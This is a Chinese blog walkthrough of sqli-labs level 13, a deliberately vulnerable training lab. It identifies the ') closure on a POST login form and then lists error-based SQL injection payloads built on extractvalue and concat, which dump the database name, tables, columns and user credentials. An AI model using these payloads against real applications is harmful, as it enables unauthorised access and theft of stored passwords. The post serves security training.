当前位置: 首页 > backend >正文

sqli-labs第十三关——’)POST报错注入

一:判断注入类型

uname=1')&passwd=123

由1,1’,1‘),1”输入的报错,我们尝试闭合1')

uname=1') or 1#&passwd=123

闭合成功(其他几种闭合均报错)但无回显 

得出结论:是单引号括号类型,并且可以尝试报错注入

二:开始注入

1.爆数据库名 

uname=1') and extractvalue(1,concat(0x7e,(select database())))#&passwd=123

2.爆表名 

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#&passwd=123

3.爆列名 

uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))#&passwd=123

 4.爆数据

先用count判断一下数据量

uname=1') and extractvalue(1,concat(0x7e,(select count(*) from users)))#&passwd=123

sqli—labs第五关——报错注入-CSDN博客

由之前的报错注入我们知道,有两种子句能防止查询数据不完整,这里我们分两次来得到数据

uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))#&passwd=123
uname=1') and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))#&passwd=123

❀❀❀ 完结撒花!!!❀❀❀

http://www.xdnf.cn/news/7710.html

相关文章:

  • go.mod:5: unknown directive: toolchain
  • MySQL高频面试八连问(附场景化解析)
  • 解决方案:新建spring项目的时候出现java版本不匹配的问题
  • EtherCAT转CANopen网关:破解垃圾处理场工业通信难题
  • Redis中SETNX、Lua 脚本和 Redis事务的对比
  • 10.17 LangChain v0.3核心机制解析:从工具调用到生产级优化的实战全指南
  • 丝杆支撑座:机床生命周期的精度与效能
  • 【Python装饰器深度解析】从语法糖到元编程实战
  • 【iOS】类结构分析
  • Nginx详细配置说明
  • CSS-5.1 Transition 过渡
  • Dify 快速上手 MCP!Java 搭建 MCP Server 接入 Dify详细实战攻略
  • vue中列表filter方法的作用
  • 深入探讨redis:哨兵模式
  • linux下jenkins部署安装使用
  • 上肢康复机器人设计与临床应用研究
  • 达梦数据库线上体验:高度兼容Oracle语法
  • 家电行业数字化实践案例 | 易趋携手某知名家电集团打造数字化项目管理系统
  • 如何看待镍钯金PCB在当代工业制造中的地位和应用?
  • Python 数据库编程
  • Java 04 API
  • 【信息系统项目管理师】第12章:项目质量管理 - 26个经典题目及详解
  • Agent_Attention线性注意力推导
  • ubuntu terminal 查看opencv 版本,或者其他相关库或者包
  • 【LUT技术专题】DnLUT代码解读
  • UniVLA-香港大学-单系统带导航-2025.5.9-开源
  • 通过两个列表构建字典(python极其详细)
  • Redis哨兵(Sentinel)模式详解:构建高可用Redis架构
  • Oracle RAC ADG备库版本降级方案(19.20 → 19.7)
  • 大模型预训练、微调、强化学习、评估指导实践